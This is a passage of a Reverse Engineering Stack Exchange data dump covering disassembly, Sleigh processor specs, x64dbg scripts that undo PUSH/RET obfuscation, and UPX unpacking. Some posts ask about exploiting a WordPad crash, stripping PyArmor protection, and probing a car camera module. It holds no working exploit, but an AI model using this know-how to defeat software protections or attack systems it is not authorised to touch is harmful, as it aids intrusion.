Compilation failed: In file included from module.c:3:\nmodule.c:3: error: include file 'dlfcn.h' not found""
+
+ +

^ Attempt at writing a CModule stub that dlopen'd a shared object from disk.

+ +

But the comment by Ole in the link above alludes to this being possible, though I can't find any references other than the NodeJS C++ Addons features that are, of course, specific to NodeJS.

+ +
+ +

tl;dr +How does one load a generic object such that all of its exported functions are callable from Javascript? Is this possible?

+",12885,,,,,6/1/2020 13:50,Load a *.dylib or *.so object into the Javascript V8 runtime?,,1,0,,,,CC BY-SA 4.0 +25185,2,,25184,6/1/2020 13:50,,2,,"

I was misinterpreting the context of the comment in the original link, it seems. I was under the impression that Module.load was a v8-ism, while it in fact appears to be a Frida-API.

+ +

https://frida.re/docs/javascript-api/#module

+",12885,,,,,6/1/2020 13:50,,,,0,,,,CC BY-SA 4.0 +25186,1,,,6/1/2020 15:26,,2,47,"

I have this a piece of code, disassembled DX:

+ +
.text:004386D3                 push    ecx
+.text:004386D4                 fld1
+.text:004386D6                 fstp    [esp+26Ch+var_26C] ;load 1.0 value texture coords
+.text:004386D9                 push    ecx
+.text:004386DA                 fld1
+.text:004386DC                 fstp    [esp+270h+var_270] ;load 1.0 value texture coords
+.text:004386DF                 push    ecx
+.text:004386E0                 fld     ds:__real@c1700000
+.text:004386E6                 fstp    [esp+274h+var_274] ;load -15.0 value x vertex
+.text:004386E9                 push    ecx
+.text:004386EA                 fld     ds:__real@c1700000
+.text:004386F0                 fstp    [esp+278h+var_278] ;load -15.0 value y vertex
+.text:004386F3                 push    ecx
+.text:004386F4                 fld     ds:__real@c1700000
+.text:004386FA                 fstp    [esp+27Ch+var_27C] ;load -15.0 value z vertex
+.text:004386FD                 lea     ecx, [ebp+var_22C] ;this pointer
+.text:00438703                 call    j_D3DVERTEX__D3DVERTEX ;fills structure with values
+.text:00438708                 mov     ecx, [ebp+var_8] ;var_8 pointer returned by Lock() buffer func
+.text:0043870B                 mov     edx, [eax]
+.text:0043870D                 mov     [ecx], edx
+.text:0043870F                 mov     edx, [eax+4]
+.text:00438712                 mov     [ecx+4], edx
+.text:00438715                 mov     edx, [eax+8]
+.text:00438718                 mov     [ecx+8], edx
+.text:0043871B                 mov     edx, [eax+0Ch]
+.text:0043871E                 mov     [ecx+0Ch], edx
+.text:00438721                 mov     eax, [eax+10h]
+.text:00438724                 mov     [ecx+10h], eax
+
+ +

This code fills one vertex structure with values:

+ +
-15.000000,-15.000000,-15.000000, 1.0,1.0
+
+ +

It seems values is stored into two copies. First copy of this values stored relatively ebp+var_22C and into ecx passed this pointer:

+ +
.text:004386FD                 lea     ecx, [ebp+var_22C] ; ecx has pointer this to store values
+.text:00438703                 call    j_D3DVERTEX__D3DVERTEX ;fills structure with values
+
+ +

And second copy this values stored relatively ebp+var_8 after calling j_D3DVERTEX__D3DVERTEX:

+ +
.text:00438708                 mov     ecx, [ebp+var_8] ;var_8 pointer returned by Lock() buffer func
+
+ +

I.e. completely it's looks like:

+ +
.text:004386FD                 lea     ecx, [ebp+var_22C] ; ecx has pointer this to store values
+.text:00438703                 call    j_D3DVERTEX__D3DVERTEX ;store values into structure
+.text:00438708                 mov     ecx, [ebp+var_8] ;var_8 pointer returned by Lock() buffer func
+
+ +

If I right understood- why need two copy of this vertex values? Maybe it is important the vertex buffer created with D3DPOOL_MANAGED and D3DUSAGE_WRITEONLY parameters.

+",33371,,,,,7/2/2020 8:00,Two copies to store values,,1,0,,,,CC BY-SA 4.0 +25187,1,,,6/1/2020 15:49,,2,176,"

I'm working on creating a processor definition for the Motorola / NXP HC11 using the Sleigh language for Ghidra. A definition for the HC12 already exists, so I'm working off of that.

+ +

The HC12 organizes its instructions into two pages: Page 1 with no prefix, and Page 2 with a prefix of 0x18:

+ +

+ +

The HC11, on the other hand, has two more pages of registers:

+ +

+ +

The HC12 processor definition uses a context variable and a recursive constructor to determine if an instruction resides on page 2:

+ +
define context contextreg
+    Prefix18       = (0,0)    # 1 if 0x18 is the first byte
+    PrefixHCS12X   = (0,0)    # 1 if first byte is 0x18 so that HCS12X to use GPAGE for memory access
+    UseGPAGE       = (1,1)    # 1 if should use GPAGE concatenated to lower 16-bit EA
+    XGATE          = (2,2)    # 1 if in xgate instruction decode mode
+;
+
+ +

-

+ +
:^instruction  is XGATE=0 & op8=0x18; instruction  [ Prefix18=1; ] {}
+
+ +

-

+ +
:ABA                     is XGATE=0 & (Prefix18=1 & op8=0x06)
+{
+    result:1 = A + B;
+    addition_flags1(A, B, result);
+    A = result;
+}
+
+ +

Another user, also defining an HC11 processor, just used 16-bit instructions instead:

+ +
define token withprebyte(16)
+  pre   = (0,16);
+define token byte(8)
+  op8   = (0,7);
+
+OFF: op8    is op8 { export *[const]:2 op8; }
+IMM8: op8 is op8 { export *[const]:1 op8; }
+
+:bsetY OFF,IMM8 is pre=0x181C; OFF; IMM8
+{
+  local temp = *:1 (Y+OFF);
+  temp = temp | (IMM8);
+  *:1 (Y+OFF) = temp;
+}
+:bclrY OFF,IMM8 is pre=0x181D; OFF; IMM8
+{
+  local temp = *:1 (Y+OFF);
+  temp = temp & (~IMM8);
+  *:1 (Y+OFF) = temp;
+}
+
+ +

The approach used on the HC12 seems bizarre and complicated to me. I also don't see how it will work for more than one page. Is there a reason I shouldn't just use 16-bit tokens for those instructions which reside on other pages? Is using the context variable, as the HC12 implementation does, more elegant in some way that I'm not seeing?

+",33423,,,,,6/1/2020 15:49,How do I implement register pages in Sleigh?,,0,0,,,,CC BY-SA 4.0 +25188,1,,,6/1/2020 17:46,,1,10861,"

I'm trying to reverse engineer a program and i found the following instruction:

+ +
test al, al
+je label 
+
+ +

what does these two instruction do ? Can someone explain please ?

+",33425,,,,,6/1/2020 18:22,"What does 'test al, al' mean?",,1,2,,,,CC BY-SA 4.0 +25189,2,,25188,6/1/2020 18:22,,10,,"

In x86 assembly, al is the least significant byte of eax register, which is typically used to return values from function calls.

+ +

The test al,al is a bitwise AND operation between al and itself.

+ +

If al & al == 0, the zero flag will be set to 1.

+ +

je (or jz) instruction will jump to the address of label, if the zero flag is 1. Otherwise, the je will do nothing.

+ +

In short: +If eax == ######00 jump to label.

+",30213,,,,,6/1/2020 18:22,,,,0,,,,CC BY-SA 4.0 +25190,1,25192,,6/2/2020 2:05,,2,62,"

I'm reverse-engineering some code I wrote in the middle-90s for which the source is long-lost and I'm a bit baffled by some VGA code I've encountered. I think it's probably from library or 3rd party code as I was just learning computers then and, while I did include some assembly to interact with VGA, it wasn't this informed.

+ +

If it's helpful, the app is a 16-bit DOS real-mode exe and the original source was compiled by the Turbo Pascal compiler (either version 6 or 7).

+ + + +
    ; function boilerplate
+    push bp
+    mov  bp,sp
+    call 0EE2:0530  ; stack bounds check function
+
+    ; probe vga port 03CCh
+    sub  sp,0002    ; why?
+    mov  dx,03CC
+    in   al,dx
+    and  al,0C      ; mask bits 3 & 2
+    cmp  al,04      ; al == 00000100b
+    mov  al,00      ; pre return value
+    jne  jump_label ; return 0
+    inc  ax         ; return 1
+jump_label:
+    ; store return value in [bp-01] as well, for.. reasons.
+    mov  [bp-01],al
+    mov  al,[bp-01]
+
+    ; function boilerplate    
+    mov  sp,bp
+    pop  bp
+    retf 0004 ; instance pointer?
+
+ +

So the question is, what is the intent here? Two parts are confusing to me:

+ +

First, bits 2 and 3 denote clock select according to the VGA docs I've read, but those docs are light on information about what that means when bit 3 is involved. For example, http://www.osdever.net/FreeVGA/vga/extreg.htm#3CCR3C2W declares the two values with the bit 3 set as undefined.

+ +

This function seems to return 0 when bit 3 is set and bit 2 isn't. But, why? What is it trying to determine about the hardware?

+ +

Second, and this is an aside, but what is the intent of mov [bp-01],al followed by mov al,[bp-01]? This seems redundant!

+",33426,,60,,6/2/2020 17:51,6/2/2020 17:51,Why would VGA port 03CC respond with bit 3 set and bit 2 not?,,1,0,,,,CC BY-SA 4.0 +25191,2,,25186,6/2/2020 7:02,,-1,,"

Inside D3DVERTEX__D3DVERTEX [ebp+var_334] i.e. ecx passed to variable [ebp+var_4] and in end of function [ebp+var_4] passed to eax as return:

+ +
.text:00439440 D3DVERTEX__D3DVERTEX proc near          ; CODE XREF: j_D3DVERTEX__D3DVERTEXj
+.text:00439440
+.text:00439440 var_5C          = dword ptr -5Ch
+.text:00439440 var_58          = dword ptr -58h
+.text:00439440 var_54          = dword ptr -54h
+.text:00439440 var_4           = dword ptr -4
+.text:00439440 arg_0           = dword ptr  8
+.text:00439440 arg_4           = dword ptr  0Ch
+.text:00439440 arg_8           = dword ptr  10h
+.text:00439440 arg_C           = dword ptr  14h
+.text:00439440 arg_10          = dword ptr  18h
+.text:00439440
+.text:00439440                 push    ebp
+.text:00439441                 mov     ebp, esp
+.text:00439443                 sub     esp, 44h
+.text:00439446                 push    ebx
+.text:00439447                 push    esi
+.text:00439448                 push    edi
+.text:00439449                 mov     [ebp+var_4], ecx
+
+...........
+.text:0043947B                 mov     eax, [ebp+var_4]
+.text:0043947E                 pop     edi
+.text:0043947F                 pop     esi
+.text:00439480                 pop     ebx
+.text:00439481                 mov     esp, ebp
+.text:00439483                 pop     ebp
+.text:00439484                 retn    14h
+.text:00439484 D3DVERTEX__D3DVERTEX endp
+
+ +

and after D3DVERTEX__D3DVERTEX this eax used as base bointer to fill memory of vertex buffer with values:

+ +
.text:00438703                 call    j_D3DVERTEX__D3DVERTEX
+.text:00438708                 mov     ecx, [ebp+var_8] ;pointer to vertex buffer
+.text:0043870B                 mov     edx, [eax] ;eax returned by j_D3DVERTEX__D3DVERTEX
+
+
+ +

Maybe j_D3DVERTEX__D3DVERTEX used to arrange and prepare vertex values to fill vertex memory after calling j_D3DVERTEX__D3DVERTEX?

+",33371,,,,,6/2/2020 7:02,,,,1,,,,CC BY-SA 4.0 +25192,2,,25190,6/2/2020 7:58,,3,,"

First: the code is only checking bit 2 (bit 0,1,2) if 25 or 28Mhz clock is set

+ +

Second: maybe its redundant but can't say without original code - could be still a problem with your disassembler

+ +
retf 0004 ; instance pointer?
+
+ +

is a far return with pop of 4 bytes from stack

+",28904,,,,,6/2/2020 7:58,,,,1,,,,CC BY-SA 4.0 +25194,1,30699,,6/2/2020 11:26,,1,240,"

How to clear the comments created by funcap and restore database to it's previous state?

+ +

I tried reanalyzing the program but comments do not seems to go away from database.

+ +

Though, checking-off Comments in IDA Options seems to work, but it also remove comments that I have made.

+ +

+",15246,,,,,7/25/2022 9:28,How to clear all comments created in ida using funcap?,,1,0,,,,CC BY-SA 4.0 +25196,2,,25181,6/2/2020 18:55,,4,,"

The RET instruction transfers control to the return address located on the stack. Normally this is used to go back from a function to where the function was called, as the address of the next instruction was pushed into the stack by the CALL instruction.

+ +

However, RET can be misused: a PUSH before a RET instruction is a typical obfuscation technique. In this case, when executing the RET, instead of coming back to the caller function, it behaves like a jump to the previously pushed address. This is not something your decompiler expects, which may result in a jump to a memory zone that hasn't been decompiled or has been incorrectly decompiled.

+ +

PUSH PUSH RET can be used to implement a CALL as you mention. In that case, the first PUSH pushes the return address into the stack (the one after the RET). The second PUSH pushes the function address. The RET (as explained before) jumps to the function address (and removes this address from the stack). When the function address executes its RET, it jumps back to the address currently located on the stack (the one of the first PUSH), coming back to the caller of the function. Note though that this is not your case. In your case the first address pushed is not in the current function. This means that this is not implementing a CALL. Most likely this it is used as an obfuscation technique, making more complicated to follow the calls and maybe tricking your disassembly to show you the code incorrectly.

+ +

Also, note that executing a PUSH doesn't lead you anywhere. It just pushes the address into the stack. It is the RET instruction which actually jumps to the last pushed address. This also means that the second pushed address is visited before the first one. This means that the code you are looking for is reached from A4DB49 (the first address to which RET jumps) that is another JUMP.

+ +

I recommend you to check the Anti-Disassembly chapter of the Practical Malware Analysis Book, where this kind of techniques are covered in detail and with examples.

+",29859,,29859,,6/2/2020 19:15,6/2/2020 19:15,,,,4,,,,CC BY-SA 4.0 +25197,1,,,6/2/2020 20:45,,2,324,"

I have a fairly large obfuscated program, and I need to mark all of the lines as code. I was able to do this in IDC by iterating through the lines and running MakeCode. It works for small amounts of code, but when I tried it on the entire program I waited for hours and nothing happened. Is there a more efficient way to mark every line as code?

+",33432,,,,,6/2/2020 22:52,Best way to quickly mark all lines as code in IDA?,,1,0,,,,CC BY-SA 4.0 +25198,2,,25197,6/2/2020 21:04,,1,,"
    +
  1. Select a range (or everything: Ctrl-PgUp, Alt-L, Ctrl-PgDn)
  2. +
  3. Press C
  4. +
  5. Choose how you want your code converted
  6. +
+",60,,60,,6/2/2020 22:52,6/2/2020 22:52,,,,2,,,,CC BY-SA 4.0 +25199,1,,,6/3/2020 1:31,,1,885,"

I have been working on finding an overflow in WordPad and I was able to run an exception with an undefined behavior (my point of view).

+

I am using x64dbg (I am not a pro x64dbg) and it shows unexpected HRESULT and almost all registers filled with random values (they don't get filled when a non-corrupted file is loaded).

+

I am new to x64dbg — how would I go saying this is vulnerable? How do I analyze the exception and the behavior? How do I exploit it?

+

I have so many questions. Please help. The memory dump is too big, so it is impossible to identify anything. What steps should I follow? Sometimes shows unexpected HRESULT on R8 register as well.

+

+",22138,,37138,,7/2/2021 19:09,7/2/2021 19:09,x64dbg throwing exception,,1,4,,,,CC BY-SA 4.0 +25201,2,,23372,6/3/2020 14:28,,0,,"

This turned out to be a mixture of hardware breakpoint related bugs in x64dbg (which are fixed by now), and a driver denying access to some threads of the target application (meaning the hardware breakpoint could not be set on those). If you encounter this, I suggest updating and checking OpenThread permissions, as x64dbg fails silently here :/

+",17795,,,,,6/3/2020 14:28,,,,0,,,,CC BY-SA 4.0 +25202,2,,25180,6/3/2020 19:36,,2,,"

Some ideas:

+ +
    +
  1. Try using Image File Execution Options registry key to automatically run the debugger when the process starts.

  2. +
  3. Patch an infinite loop (EB FE) at the entry point, start the binary, then attach to it from a debugger started as admin.

  4. +
  5. Use kernel debugger or hypervisor-based debugger to debug the process without relying on user mode debugging API.

  6. +
+",60,,,,,6/3/2020 19:36,,,,0,,,,CC BY-SA 4.0 +25203,2,,25172,6/3/2020 19:42,,0,,"

If you cannot step inside that function, you’re probably missing debug symbols for the library (check with info shared). You can try to either install symbols (usually in a package named libc-dbg or similar), or debug on assembly level by using si (step instruction) command.

+",60,,,,,6/3/2020 19:42,,,,3,,,,CC BY-SA 4.0 +25204,2,,25164,6/3/2020 19:47,,1,,"

I think IDA simply omits the scale factor 1 to simplify the output and bring the syntax closer to other processors. The main goal of IDA is understanding code, not reassembly.

+",60,,,,,6/3/2020 19:47,,,,1,,,,CC BY-SA 4.0 +25205,2,,25103,6/3/2020 19:47,,2,,"

You renamed a thunk (""thunk_FUN_1017e9e0""). That thunk points to the function ""FUN_1017e9e0"". When you double-click on the thunk, Ghidra is bypassing it and taking you directly to the thunked function.

+ +

In the Ghidra symbol table, you should see 2 separate entries for ""process_something_internal1"" (thunk) and ""FUN_1017e9e0"" (thunked function).

+",33438,,,,,6/3/2020 19:47,,,,2,,,,CC BY-SA 4.0 +25206,2,,18341,6/3/2020 21:36,,0,,"

In case this ends up being useful for anyone else, I had the same exact error, but it was in a cross-compilation project. My problem was that my CMake toolchain was erroneously setting CMAKE_OBJDUMP to /usr/bin/objdump instead of /usr/bin/arm-none-eabi-objdump. I fixed this by forcing my toolchain.cmake file to use /usr/bin/arm-none-eabi-objdump and /usr/bin/arm-none-eabi-objcopy, by adding these lines to my toolchain.cmake BEFORE any calls to find_program(...):

+ + + +
unset(CMAKE_OBJCOPY CACHE)
+unset(CMAKE_OBJDUMP CACHE)
+
+ +

My CMake version is 3.16.3. I submitted a bug report for this here: https://gitlab.kitware.com/cmake/cmake/-/issues/20787

+",33440,,33440,,6/3/2020 21:49,6/3/2020 21:49,,,,0,,,,CC BY-SA 4.0 +25207,1,,,6/3/2020 22:14,,1,125,"

I injected shellcode into an executable.
Entrypoint is set to first shellcode instruction.

+ +

Shellcode:

nop
nop
label:
nop
nop
jmp
label
nop
nop

+ +

which translate to: \x90\x90\x90\x90\xeb\xfc\x90\x90

+ +

Correct Values in PE can be seen with PE-Explorer

+ +

+ +

There are other values displayed in the debugger which translate to wrong instructions.

+ +

+ +

What am I doing wrong here?

+ +

Thanks

+",33441,,,,,3/8/2021 11:12,PE Explorer vs. Debugger differences,,0,1,,,,CC BY-SA 4.0 +25208,1,,,6/4/2020 6:34,,1,1765,"

Created an application, protected by PyArmor and used pyinstaller. I'm trying to reverse engineer it. So far I've decompiled the exe into pyc files but it's still pyarmor encrypted I can only see the loading of the encrypted bytes.

+
    +
  1. Is there a way to decrypt PyArmor?
  2. +
  3. If not, it's my understanding it decrypts at runtime, how could I catch the unencrypted portion? I've been trying to use Ollydbg but can't figure out exactly how it works.
  4. +
  5. The program prints a Hello World but I can't seem to even find the instruction or the string in reference strings, any idea why or how to do it?
  6. +
+",33446,,245,,6/24/2020 11:23,6/24/2020 11:23,Reversing PyArmor + Pyinstaller,,0,1,,,,CC BY-SA 4.0 +25209,2,,25181,6/4/2020 7:29,,1,,"

Technically,

+ +
PUSH A
+RET
+
+ +

is equivalent to

+ +
JMP A
+
+ +

and

+ +
PUSH A
+PUSH B
+RET
+
+ +

is equivalent to

+ +
CALL B
+JMP A
+
+ +

You can write a x64dbg script which searches for the above pattern and replaces it with the simplified assembly.

+ +
+ +

Example

+ +

PUSH + RET has the byte pattern

+ +
0:  68 44 33 22 11          push   0x11223344
+5:  c3                      ret 
+
+ +

The following script replaces it with JMP and the remainder (if any) with NOP.

+ +
$base = 0x91e000
+$search_size = 0x100
+
+findall $base, ""68 ?? ?? ?? ?? c3"", $search_size
+$count = $result
+
+next:
+    dec $count
+    $addr = ref.addr($count)
+    $jmp_addr = dis.imm($addr)
+    asm $addr, ""jmp 0x{$jmp_addr}""
+    $asm_size = $result
+    $remainder = 6 - $asm_size
+
+    fill_nop:
+        dec $remainder
+        asm $addr+$asm_size+$remainder, ""nop""
+        test $remainder, $remainder
+        jnz fill_nop
+
+    test $count, $count
+    jnz next
+
+msg ""Done""
+
+ +

Similarly for PUSH + PUSH + RET,

+ +
0:  68 44 33 22 11          push   0x11223344
+5:  68 dd cc bb aa          push   0xaabbccdd
+a:  c3                      ret 
+
+ +

The following script replaces it with CALL + JMP.

+ +
$base = 0x91e000
+$search_size = 0x100
+
+findall $base, ""68 ?? ?? ?? ?? 68 ?? ?? ?? ?? c3"", $search_size
+$count = $result
+
+next:
+    dec $count
+    $addr = ref.addr($count)
+    $ret_addr = dis.imm($addr)
+    $call_addr = dis.imm($addr+5)
+    asm $addr, ""call 0x{$call_addr}""
+    $asm_size = $result
+    asm $addr+$asm_size, ""jmp 0x{$ret_addr}""
+    add $asm_size, $result
+    $remainder = 0xb - $asm_size
+
+    fill_nop:
+        dec $remainder
+        asm $addr+$asm_size+$remainder, ""nop""
+        test $remainder, $remainder
+        jnz fill_nop
+
+    test $count, $count
+    jnz next
+
+msg ""Done""
+
+ +
+ +

However there are some caveats with the above approach:

+ +
    +
  1. PUSH + PUSH + RET can be converted to CALL + JMP only if the callee uses RET instruction to return back to the caller (which is normal in cdecl). It won't work if it obfuscates the return using a JMP instruction. That is instead of RET there is

    + +
    ADD ESP, 4
    +JMP DWORD PTR [ESP-4]
    +
  2. +
  3. Pattern search will work in most cases. However if parts of the code are encrypted it can return false positives and you may be inadvertently overwriting wrong data.

  4. +
+",1413,,1413,,6/5/2020 19:35,6/5/2020 19:35,,,,7,,,,CC BY-SA 4.0 +25210,2,,22985,6/4/2020 19:29,,1,,"

Its been a couple months since this was asked, but there is also another option. If you can manually calculate the jumps then its possible to specify these into Ghidra to override its default behaviour.

+ +

There is a script called SwitchOverride, which can be found in the script manager window. Below is the documentation from the script:

+ +
+

This script allows the user to manually specify the destinations of an indirect jump (switch)  to the decompiler, if it can't figure out the destinations itself or does so incorrectly.  To use, create a selection that contains:  the (one) instruction performing the indirect jump to override  other instructions whose addresses are interpreted as destinations of the switch  then run this script

+
+",33453,,,,,6/4/2020 19:29,,,,0,,,,CC BY-SA 4.0 +25211,2,,25199,6/4/2020 20:28,,1,,"

The exception shown in status bar (CPP_EH_EXCEPTION) is a special exception code used to implement C++ exceptions (throw/catch) and usually does not indicate a bug or vulnerability. In most cases it can be passed to the program which expects it and will handle it.

+",60,,,,,6/4/2020 20:28,,,,0,,,,CC BY-SA 4.0 +25212,2,,19298,6/4/2020 22:18,,2,,"

I found the following documentation on archive.org, as part of Sun WorkShop™ for Solaris 2.x

+ +

mangling.ps

+",33454,,,,,6/4/2020 22:18,,,,0,,,,CC BY-SA 4.0 +25214,1,,,6/4/2020 23:01,,1,239,"

I'm new to hardware hacking and I'm not to sure where to go with what I'm doing, any advice or feedback is greatly appreciated. I've been working on a project with the hope of downloading images that are stored in Subaru's eyesight collision avoidance camera system. In the eyesight handbook it details that several images are recorded leading up to and after an "event", but that you have to contact Subaru to get them downloaded. Multiple companies have systems similar with the known and publicly available way to download images off of Toyota's.

+

Another person in my industry witnessed a Subaru tech download images, and said they plugged directly into the camera system mounted on the inside of the roof. I was able to purchase a complete camera assembly off of ebay to tinker with. The assembly i have is from a 2016 forester, the same vehicle I own. Using my car I was able to get the voltages I need to power up the assembly externally to tinker with.

+

+

In my image, the left most white connector is the only connection between the cameras and car, that's what I got the voltages of. 2 pins at 12V, 1 at 2.3V, 1 at 2.6V, and two grounds. Two other pins had wires but no voltages, could possibly be for the CAN network?

+

As for the other two connectors on the board, the small white on near the top center is covered by a sticker when installed, there is no access to it without removing the sticker or disassembling the system, I would be led to believe this is for programming the module during assembly? I don't know if that's a reasonable assumption or not, but if so I would imagine its a possible angle of attack. For the gray connector, that one is exposed once the module is accessible in the vehicle. I would assume this is the port used by Subaru to download images so this might be the best possible route of attack.

+

While doing research on hardware hacking, I've come across JTAG and UART as common attack angles, unfortunately I have been unable to locate any such pinouts on the board. Looking at the data sheets for some of the chips, however, i was able to locate JTAG pins on some of the chips. With an integrated system like this, I'm not sure how accessing JTAG pins on a single component would help. Possible the images are all stored on one chip and other chips are used for processing data and handling the collision avoidance system?

+

Again, thanks for anything you guys have to say, any help is greatly appreciated.

+",33455,,245,,6/24/2020 11:27,6/24/2020 11:27,Subaru Eyesight Images and collision avoidance systems,,0,1,,,,CC BY-SA 4.0 +25215,1,,,6/5/2020 3:33,,2,1030,"

In x64dbg, we can set hardware breakpoint on write in memory dump but can we add more codition? +Ex. Set breakpoin on write of value of 2F.

+",33458,,,,,6/16/2020 18:28,"x64dbg, breakpoint on write in memory with specific value",,1,0,,,,CC BY-SA 4.0 +25217,1,25226,,6/5/2020 9:26,,0,87,"

Looking at DWARFs of bzip2_base I see different offsets between members of a structure type although they are of the same type. Check _IO_FILE structure at the offset 0x9c here. All the way until the 7th member at 0xF0 (_IO_write_end) all members have 12 Byte offset from the previous member, but the 8th member (@ 0xFD) onward the difference in the DIE offset gets 13 Bytes. Can anyone help me understand why? any good text that explains?

+",33460,,,,,6/6/2020 21:19,How is padding size calculated for members of structure types?,,1,0,,,,CC BY-SA 4.0 +25218,1,,,6/5/2020 17:58,,0,190,"

I am thinking of taking up ethical hacking as a hobby. So, I installed Burp Suite Community Edition and set it up with Firefox. I opened Instagram and tried to login with these details (just for testing):

+ +
Username: admin
+
+Password: 123456
+
+ +

However, when I intercepted the request in Burp, although the username was still admin , the password had been encrypted to something else. This means that somewhere in the code of the website, a formula tells Firefox how to convert 123456 to that string. How can I find this 'formula'?

+",33463,,,,,6/5/2020 18:53,How to locate the function being applied on password,,0,10,,,,CC BY-SA 4.0 +25220,1,,,6/5/2020 20:02,,1,760,"

I'm trying to learn how to do basic unpacking EXEs. I've read into how the PE header works, sections, the IAT and I already know a fair bit about assembly.

+ +

I started with compressing my simple x64.exe with UPX and attempted to manually unpack it.

+ +

I stepped through the stub code, established where the extracted original code goes (.UPX0 section), found the OEP and IAT. With this, I was able to use Scylla to dump the process and correctly rebuild the IAT.

+ +

However, when I ran the unpacked exe it failed. I decided to debug the unpacked exe and realised the code attempts to address a static variable that was originally stored in the .data section but is now invalid and generates a memory violation exception (crashing the program).

+ +

Anyway to my frustration I realised that I needed to fix up the relocations as the original .reloc section had been lost. I painstakingly stepped through the UPX code and identified where the addresses that needed to be relocated were. I use PE explorer to rebuild the .reloc section manually. However, I gave up after 6 address when I realised there was a total of 100 to go through!

+ +

My question is, is there a tool that can automatically fix up the relocations (much like Scylla does with the IAT) or am I stuck doing it manually?

+ +

Many thanks +Z

+",23741,,,,,12/14/2020 13:29,Problems with relocation when unpacking,
,3,0,,,,CC BY-SA 4.0 +25221,1,,,6/6/2020 3:56,,1,44,"

I've been working with reverse engineering tape image and disk image formats and the files and filesystems they contain.

+ +

It struck me that sometimes there are data fields that are not in the same endian as the platforms these represent, sometimes there are even fields of both endians. (I bet this is even more common in networking.)

+ +

It would be really beneficial to have variants of the assembly directives dw/defw, dd/defd, etc that include endian information so you can see at a glace what the intended numeric value is and also when the endian is not the expected one.

+ +

This makes me wonder if there are already assemblers that let the programmer define words, longs, etc in specific endian formats. And if there are not assemblers that do it, perhaps there are some disassemblers that do.

+ +

I'm thinking of adding a feature request for this in Ghidra but first I want to know if it's already in some tools, and what syntax they use if so.

+",153,,,,,6/7/2020 9:09,Are there some assemblers or disassemblers that allow dw/defw etc directives with specified endianness?,,1,2,,,,CC BY-SA 4.0 +25222,1,25225,,6/6/2020 10:14,,0,235,"

Let's suppose I want to use IDA Pro to debug a Windows PE64 application that always throws an error message at a specific point when being run. What steps would I have to take to find the specific function in the code of the application that throws the error message?

+",33469,,,,,6/22/2020 10:15,How can I find the function that throws an error message in IDA Pro?,,1,0,,6/22/2020 8:38,,CC BY-SA 4.0 +25225,2,,25222,6/6/2020 21:12,,2,,"

Try to find the string of the error message in the binary (Hotkey: Alt+B, Search for binary). If the auto analysis worked well, the string should be annotated with all functions that reference the string, and you should be able to jump to the instructions that refer to the message using the cross references popup (Hotkey: Ctrl+X)

+",21359,,245,,6/22/2020 10:15,6/22/2020 10:15,,,,0,,,,CC BY-SA 4.0 +25226,2,,25217,6/6/2020 21:19,,1,,"

The offsets you are quoting are not the offsets of the structure members, but they are offsets of the debug information statements inside the dwarf section. The members itself are all 8 bytes in size. _IO_write_ptr is at offset 40, _IO_write_end is at offset 48 and and _IO_buf_base is at offset 56.

+ +

The debug information for _IO_write_end is bigger than the previous debug information records, because the member _IO_write_end is declared in line 256 of the source file, and encoding line numbers of 256 or bigger takes more bytes than encoding line numbers zero to 255.

+",21359,,,,,6/6/2020 21:19,,,,2,,,,CC BY-SA 4.0 +25228,1,,,6/7/2020 1:21,,3,213,"

I was always curious about how some single-player games are turned into multiplayer ones. Some samples are SA-MP and MTA, that turn Grand Theft Auto: San Andreas into a multiplayer game.

+ +

In an infrastructure perspective, I know you might have a server that receives packets from a client and makes sure all the other clients receive these packets as well.

+ +

For example, whenever a player moves, the client sends a message to the server. The server then redirects the messages to each connected client. Each connected client updates the player's position.

+ +

However, how the engineers can ""inject a code"" into the game to make it send a network packet to a server whenever a player moves? How can they ""inject a code"" into the game, so it listens to a network packet to react over it?

+ +

The ""inject a code"" term is between quotes because I don't even know if a code is really injected into the game. That's exactly what I'm curious about. Which techniques are used? How can this be possible?

+ +

Do they hook into specific events to execute a custom code that performs networking communication? If so, could you guys elaborate that a bit further?

+ +

I'm not planning to do so, and I have no prior experience with Reverse Engineering. I couldn't find anything on the Internet. Due to that, feel free to explain any ""basic concept"" as well. :) I'd like to understand as much as possible about it, and different opinions and perspectives are more than welcome.

+",33476,,,,,6/7/2020 1:21,How are single-player games made into multiplayer ones?,,0,3,,6/23/2020 21:08,,CC BY-SA 4.0 +25229,2,,25220,6/7/2020 9:05,,1,,"

AFAIK there is no existing tool but you should be able to create one using the approach used by DOS unpackers:

+ +
    +
  1. Run the binary once, dump it at the entry point
  2. +
  3. Run it second time, forcing the load base to be different (e.g. map some memory at the preferred load base, or reboot to reinitialize ASLR). Capture a second dump.
  4. +
  5. Compare two dumps. The locations with differences should be the relocations. Create a relocation table for them.
  6. +
+ +

Specifically for UPX, there’s an easier way: the relocation table is stored in a predefined format so you just need to find and parse it. See the UPX source code for more info.

+",60,,,,,6/7/2020 9:05,,,,1,,,,CC BY-SA 4.0 +25230,2,,25221,6/7/2020 9:09,,2,,"

Specifically for IDA, there is no such feature built in but you should be able to create a custom data format to handle this:

+ +

https://www.hex-rays.com/blog/custom-data-types-and-formats/

+ +

(The post is somewhat old so some details may have changed but the functionality is still there)

+",60,,,,,6/7/2020 9:09,,,,0,,,,CC BY-SA 4.0 +25232,1,,,6/7/2020 16:07,,2,276,"

I'm working on some Ghidra loader and filesystem modules for 80s microcomputers.

+ +

I started work on a Loader for .cas tape image files for the TRS-80 CoCo because Ghidra suports the 6805 CPU. (It also supports the M68HC05TB and MC68HC908QY4)

+ +

I never used the CoCo or anything with a 6809 back in the day so wasn't accustomed to its instructions. I am used to a few other instruction sets though. Anyway I assumed 6805 and 6809 would be quite that using Ghidra for CoCo and Dragon 32 binaries would be useful.

+ +

But when I got my loader module to the point it was ready to test I found it did not produce code for the CoCo's ROM that matched disassemblies on the Internet. Many bytes could not be decoded into instructions at all.

+ +

But when I search for the 6805 I can't find information saying the instruction sets are substantially different, though they only give the impression it should be quite close to the 6809 rather than outright saying it.

+ +

So have I made a wrong assumption, have I mixed something up on Ghidra, or do the two similarly named chips have totally different instruction sets? Should I be able to disassemble code for these '80s machines using Ghidra if I set it properly?

+ +

(I'm sure there are other disassemblers but I'm only working with Ghidra for this project.)

+",153,,153,,6/8/2020 3:19,6/8/2020 3:20,Can Ghidra currently be used to disassemble Tandy Color Computer binaries? Are the 6805 and 6809 opcode compatible?,,1,0,,,,CC BY-SA 4.0 +25233,2,,25232,6/8/2020 2:32,,2,,"

Ghidra currently does not support the 6809 and there is not yet a feature request for it.

+ +

The 6805 and 6809 do have related instruction sets and opcodes but are neither forward nor backward compatible at a binary level.

+ +

